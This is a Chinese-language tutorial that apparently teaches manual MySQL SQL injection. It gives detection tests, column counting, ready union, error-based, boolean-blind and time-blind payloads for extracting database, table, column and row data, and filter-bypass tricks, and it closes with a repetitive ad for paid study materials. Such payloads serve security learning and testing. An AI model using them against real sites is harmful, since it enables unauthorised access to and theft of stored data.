mysql5.0以上的版本存在一个information_schema数据库,information_schema数据库包含3个表如下:
步骤
判断是否存在sql注入:
分别输入不同的id值:
——有结果:1’and 1=1#
——无结果:1’and 1=2#
——出错:1’
——正常:1’'(两个单引号)
换成双引号同理。
判断查询结果有多少列:
——1’order by 1#(不报错)
——1’order by 2#(不报错)
——1’order by 3#(不报错)
——1’order by 4#(报错)
——这就说明结果有3列。
选择注入方式:
联合注入(union)、报错注入(extractvalue、updatexml)、布尔盲注(当回显只能判断对错的时候用)、时间盲注(布尔盲注的升级版,没有回显或者回显判断不了对错的时候用,根据页面的反馈时间来判断对错)。
获取数据库名:
联合注入:-1’union select 1,database(),3#
报错注入:'and extractvalue(1,concat(0x7e,(select database()),0x7e))–+
布尔盲注:1’ and ascii(substr((select database()),1,1))=115–+
时间盲注:1’ and if(ascii(substr((select database()),1,1))=115,sleep(3),1)–+
获取表名:
-1’union select 1,(select table_name from information_schema.tables where table_schema=’数据库名’limit 0,1),3#
也可以不用limit,表示从哪一列开始,取多少列。
获取列名:
-1’union select 1,(select group_concat(column_name)from information_schema.columns where table_schema=’数据库名’ and table_name=’表名’),3#
获取列中数据:
-1’ union select 1,(select 列名 from 表名 limit 0,1),3#
黑名单绕过
空格绕过:
/**/(/的url编码为%2f,*的url编码为%2a)
() ——例如:select(1),2,3;(括号的url编码为%28、%29)
回车(url编码为%0a)
`(url编码为%60)
tab(url编码为%09(水平)、%0b(垂直))
大小写绕过
双写关键字绕过
绕过and和or和=:
and可以用%26%26替代,也可以用&&表示。
or可以用||表示。
=可以用like代替。
最后
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
*如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!